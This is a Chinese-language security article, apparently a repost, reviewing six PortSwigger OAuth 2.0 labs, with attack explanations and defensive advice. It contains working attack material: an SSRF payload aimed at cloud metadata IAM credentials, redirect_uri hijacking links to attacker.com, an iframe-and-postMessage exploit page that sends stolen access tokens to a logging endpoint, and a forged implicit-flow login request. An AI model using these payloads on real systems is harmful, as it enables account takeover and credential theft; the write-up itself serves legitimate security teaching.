OAuth2.0安全攻防:从Portswigger六大实验看认证漏洞挖掘

admin 2026-02-04 17:34:08 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文基于Portswigger实验剖析OAuth2.0漏洞,涵盖隐式流绕过、CSRF绑定、redirect_uri劫持、SSRF及令牌窃取。详解原理与利用,提供实战挖掘技巧。防御建议弃用隐式流、强制PKCE、严格校验URI与State,通过服务端验证构建防御体系,确保认证安全。 综合评分: 93 文章分类: WEB安全,漏洞分析,渗透测试,实战经验,应用安全


cover_image

OAuth 2.0 安全攻防:从 Portswigger 六大实验看认证漏洞挖掘

原创

X X

XiAnG学安全

2026年2月4日 15:19 印度

OAuth 2.0 安全攻防:从 Portswigger 六大实验看认证漏洞挖掘

OAuth 2.0 已经成为现代 Web 应用的标准认证协议,但在便捷的单点登录背后,隐藏着诸多安全隐患。本文基于 Portswigger Web Security Academy 的六大 OAuth 实验,系统梳理攻击手法、漏洞原理与防御方案,帮助安全从业者建立完整的 OAuth 攻防知识体系。


一、OAuth 2.0 基础:你真的了解授权流程吗?

在深入漏洞之前,我们先厘清 OAuth 2.0 的两种核心模式:

1.1 授权码模式(Authorization Code)

最安全、最推荐的流程

用户点击登录 → 授权服务器返回 code → 后端用 code+client_secret 换 token
  • • 授权码(code)通过浏览器传递
  • • Access token 只在后端通道流转
  • • 支持 PKCE 扩展,防止 CSRF

1.2 隐式授权模式(Implicit)

为单页应用(SPA)设计,但安全性较差

用户点击登录 → 授权服务器直接返回 access_token(在 URL #fragment 中)
  • • Access token 暴露在浏览器地址栏
  • • 通过 JavaScript 提取使用
  • • OAuth 2.1 已废弃此模式

二、六大实验全景对比

| 实验名称 | 难度 | 核心漏洞 | 攻击目标 | 关键利用点 | | — | — | — | — | — | | Authentication bypass via OAuth implicit flow | ⭐ Apprentice | 客户端未验证 token 与用户绑定关系 | 任意用户账户 | 替换 email 参数,token 不变 | | Forced OAuth profile linking | ⭐⭐ Practitioner | 缺失 state 参数,CSRF 攻击 | 已登录用户的账户绑定 | 预获取 code,诱使 admin 完成回调 | | OAuth account hijacking via redirect_uri | ⭐⭐ Practitioner | redirect_uri 无白名单验证 | 授权码(code) | 构造恶意 redirect_uri 外泄 code | | Stealing OAuth access tokens via an open redirect | ⭐⭐ Practitioner | redirect_uri 目录遍历 + 开放重定向 | Access token | 利用 ../ 遍历到跳转页面,外泄 token | | Stealing OAuth access tokens via a proxy page | ⭐⭐ Practitioner | redirect_uri 目录遍历 + 不安全 postMessage | Access token | iframe 劫持 + postMessage 跨域泄漏 | | SSRF via OpenID Dynamic Client Registration | ⭐⭐ Practitioner | 动态注册端点无认证 + logo_uri SSRF | 云环境元数据(169.254.169.254) | 注册恶意客户端,触发二阶 SSRF |


三、六大攻击向量深度解析

3.1 攻击向量一:授权服务器配置缺陷

代表实验:SSRF via OpenID Dynamic Client Registration

漏洞原理

  • • 动态客户端注册端点(/reg无需认证即可访问
  • • logo_uri 参数指定的 URL 会被授权服务器访问以获取 logo
  • • 攻击者指向内网地址(169.254.169.254),造成 SSRF

利用代码

{
    "redirect_uris": ["https://example.com"],
    "logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}

防御方案

  1. 1. 注册端点要求 Initial Access Token
  2. 2. 严格校验所有 URI 参数(白名单域名)
  3. 3. 禁止访问内网网段(169.254.0.0/16, 10.0.0.0/8 等)

3.2 攻击向量二:redirect_uri 劫持

代表实验:OAuth account hijacking via redirect_uri

漏洞原理

  • • 授权服务器未验证 redirect_uri 或验证不严格
  • • 攻击者将 redirect_uri 改为自己的服务器
  • • 受害者授权后,code/token 被发送到攻击者服务器

利用技巧

# 恶意授权链接
GET /auth?client_id=xxx&redirect_uri=https://attacker.com/callback&response_type=code

进阶攻击:目录遍历 + 开放重定向组合

# 先利用 ../ 遍历到站内开放重定向点
redirect_uri=https://victim.com/oauth-callback/../post/next?path=https://attacker.com

防御方案

  1. 1. 精确匹配:注册时登记的 URI 必须与请求完全一致
  2. 2. 禁止通配符:不使用 * 或部分匹配
  3. 3. PKCE 强制:即使 code 被截获也无法使用

3.3 攻击向量三:CSRF 绑定攻击

代表实验:Forced OAuth profile linking

漏洞原理

  • • OAuth 流程缺失 state 参数(CSRF Token)
  • • 攻击者预先将自己的社交账户绑定到受害者的本地账户

攻击流程

1. 攻击者登录自己的账户,开始 OAuth 绑定流程
2. 在授权回调前截获 code(Burp Drop)
3. 构造 CSRF 页面,诱导已登录的 admin 访问
&nbsp; &nbsp;<iframe src="/oauth-linking?code=ATTACKER_CODE">
4. admin 的浏览器携带 session 完成绑定
5. 攻击者现在可用自己的社交账户登录 admin 账户

关键点:state 参数确保授权请求和回调的会话一致性

防御方案

  • • 强制 state 参数:随机不可预测,绑定到用户会话
  • • 验证一致性:回调时检查 state 是否匹配

3.4 攻击向量四:隐式流令牌泄漏

代表实验:Authentication bypass via OAuth implicit flow

漏洞原理

  • • 隐式流将 access_token 放在 URL fragment 中(#access_token=xxx
  • • 客户端应用未验证 token 归属,只检查 token 有效性
  • • 攻击者用自己的有效 token + 受害者的 email 完成登录

利用代码

POST /authenticate
{
&nbsp; &nbsp; "email":&nbsp;"[email protected]",&nbsp; // 篡改
&nbsp; &nbsp; "username":&nbsp;"attacker",
&nbsp; &nbsp; "token":&nbsp;"ATTACKER_VALID_TOKEN"&nbsp; // 自己的 token
}

防御方案

  • • 弃用隐式流:改用授权码模式 + PKCE
  • • 服务端验证:用 token 向 OAuth 服务器请求用户信息,与提交的身份比对

3.5 攻击向量五:代理页面劫持

代表实验:Stealing OAuth access tokens via a proxy page

漏洞原理

  • • 站内存在不安全的 postMessage 实现(如评论表单)
  • • parent.postMessage(data, '*') 向任意域发送消息,包含当前 URL(含 token)

攻击链

redirect_uri 遍历到 comment-form 页面
→ 页面加载时自动 postMessage 发送 location.href(含&nbsp;#access_token)
→ 攻击者的 exploit 页面作为 parent 接收消息
→ 外泄 token

利用代码

<!-- 攻击者页面 -->
<iframe&nbsp;src="https://oauth-server/auth?...&redirect_uri=../post/comment/comment-form&response_type=token"></iframe>
<script>
window.addEventListener('message',&nbsp;e&nbsp;=>&nbsp;{
&nbsp; &nbsp; fetch('/log?token='&nbsp;+ e.data.data)&nbsp; // 捕获 token
},&nbsp;false)
</script>

防御方案

  • • 指定 targetOriginpostMessage(data, 'https://trusted.com')
  • • 验证 event.origin:接收方检查消息来源
  • • 不传输敏感数据:避免在 postMessage 中发送 token、session 等

3.6 攻击向量六:开放重定向组合攻击

代表实验:Stealing OAuth access tokens via an open redirect

与代理页面的区别:利用跳转而非 postMessage

攻击链

redirect_uri=../post/next?path=https://attacker.com
→ 授权后跳转到 /post/next?path=attacker.com#token
→ 开放重定向到 attacker.com?token=xxx(从 Referer 或 JS 提取)

防御方案

  • • 修复开放重定向:path 参数只允许站内相对路径
  • • 多重验证:跳转前检查 URL 是否在白名单

四、漏洞挖掘实战技巧

4.1 信息收集:发现 OAuth 端点

1. 访问 /.well-known/openid-configuration
&nbsp; &nbsp;→ 获取 authorization_endpoint, token_endpoint, registration_endpoint

2. 检查登录按钮的 href
&nbsp; &nbsp;→ 分析 client_id, redirect_uri, response_type, scope

3. 查看页面源码和 JS 文件
&nbsp; &nbsp;→ 寻找 postMessage, addEventListener, window.location 等关键词

4.2 重定向测试矩阵

| 测试 payload | 预期结果 | 漏洞判断 | | — | — | — | | redirect_uri=https://evil.com | 报错或忽略 | 安全 | | redirect_uri=https://victim.com.evil.com | 报错或忽略 | 安全(检查域名边界) | | redirect_uri=https://victim.com/@evil.com | 报错或忽略 | 安全(检查 @ 符号) | | redirect_uri=https://victim.com/oauth/../evil | 成功 | 路径遍历漏洞 | | redirect_uri=https://victim.com/oauth-callback/../post/next?path=evil.com | 成功 | 目录遍历 + 开放重定向 |

4.3 关键参数检查清单

  • state:是否存在?是否随机?是否验证?
  • redirect_uri:是否严格匹配?是否允许遍历?
  • scope:是否包含敏感权限?是否可修改?
  • response_type:是否为 token(隐式流)?
  • client_id:是否可枚举?是否与特定 redirect_uri 绑定?
  • PKCE:code_challenge 是否存在?

五、防御体系构建

5.1 授权服务器(OP)安全

redirect_uri&nbsp;策略:
&nbsp; -&nbsp;精确字符串匹配(非通配符)
&nbsp; -&nbsp;禁止&nbsp;IP&nbsp;地址、localhost(生产环境)
&nbsp; -&nbsp;强制&nbsp;HTTPS
&nbsp; -&nbsp;注册时验证所有权(DNS&nbsp;TXT&nbsp;记录或文件验证)

令牌策略:
&nbsp; -&nbsp;短有效期(access_token:&nbsp;15分钟)
&nbsp; -&nbsp;一次性授权码(code&nbsp;10分钟内用完即废)
&nbsp; -&nbsp;强制&nbsp;PKCE(RFC&nbsp;7636)
&nbsp; -&nbsp;绑定&nbsp;client_id&nbsp;+&nbsp;redirect_uri&nbsp;+&nbsp;code

端点保护:
&nbsp; -&nbsp;/reg&nbsp;要求&nbsp;Initial&nbsp;Access&nbsp;Token
&nbsp; -&nbsp;限制&nbsp;logo_uri,&nbsp;jwks_uri&nbsp;等只能访问公网
&nbsp; -&nbsp;禁止&nbsp;169.254.0.0/16,&nbsp;10.0.0.0/8&nbsp;等内网地址

5.2 客户端应用(RP)安全

// 1. 严格验证 state
const&nbsp;savedState =&nbsp;sessionStorage.getItem('oauth_state');
const&nbsp;returnedState =&nbsp;new&nbsp;URLSearchParams(window.location.search).get('state');
if&nbsp;(savedState !== returnedState) {
&nbsp; &nbsp; throw&nbsp;new&nbsp;Error('Invalid state parameter');
}

// 2. 服务端交换 token(不要用前端隐式流)
const&nbsp;tokenResponse =&nbsp;await&nbsp;fetch('/backend/token', {
&nbsp; &nbsp; method:&nbsp;'POST',
&nbsp; &nbsp; body:&nbsp;JSON.stringify({&nbsp;code: authCode })
});

// 3. 验证 token 归属
const&nbsp;userInfo =&nbsp;await&nbsp;fetch('/oauth-server/me', {
&nbsp; &nbsp; headers: {&nbsp;'Authorization':&nbsp;'Bearer '&nbsp;+ token }
});
if&nbsp;(userInfo.email&nbsp;!== submittedEmail) {
&nbsp; &nbsp; throw&nbsp;new&nbsp;Error('Token does not match user');
}

// 4. 安全的 postMessage
// 发送方
parent.postMessage(data,&nbsp;'https://trusted-parent.com');

// 接收方
window.addEventListener('message',&nbsp;(e) =>&nbsp;{
&nbsp; &nbsp; if&nbsp;(e.origin&nbsp;!==&nbsp;'https://trusted-child.com')&nbsp;return;
&nbsp; &nbsp; // 处理消息
});

5.3 安全响应头

# 防止点击劫持(OAuth 流程必须在顶层窗口)
Content-Security-Policy:&nbsp;frame-ancestors 'none';

# 防止 Referer 泄漏 token
Referrer-Policy:&nbsp;no-referrer;

# 安全的 Cookie
Set-Cookie:&nbsp;session=xxx; HttpOnly; Secure; SameSite=Strict;

六、总结:OAuth 安全黄金法则

  1. 1. 永远不要信任前端:敏感操作(token 交换、用户身份验证)必须在服务端完成
  2. 2. 验证一切输入:redirect_uri、state、code 都必须严格验证
  3. 3. 最小权限原则:申请最小必要的 scope,避免 openid profile email 全开
  4. 4. 监控异常行为:检测短时间内大量 code 兑换失败(可能是暴力破解或重放攻击)
  5. 5. 及时升级协议:废弃隐式流,迁移到 PKCE + 授权码模式

OAuth 2.0 的安全不仅在于协议本身,更在于实现的细节。希望通过本文的实验复盘,你能建立起系统化的 OAuth 漏洞挖掘与防御能力。


参考资源

  • • Portswigger Web Security Academy OAuth 系列实验
  • • RFC 6749 (OAuth 2.0), RFC 7636 (PKCE), RFC 8252 (Native Apps)
  • • OAuth 2.0 Security Best Current Practice (draft-ietf-oauth-security-topics)

本文仅供安全技术研究与学习,请勿用于非法用途。

点赞、在看、转发,三连支持一下! 👍



免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:XiAnG学安全 X X《OAuth 2.0 安全攻防:从 Portswigger 六大实验看认证漏洞挖掘》

评论:0   参与:  0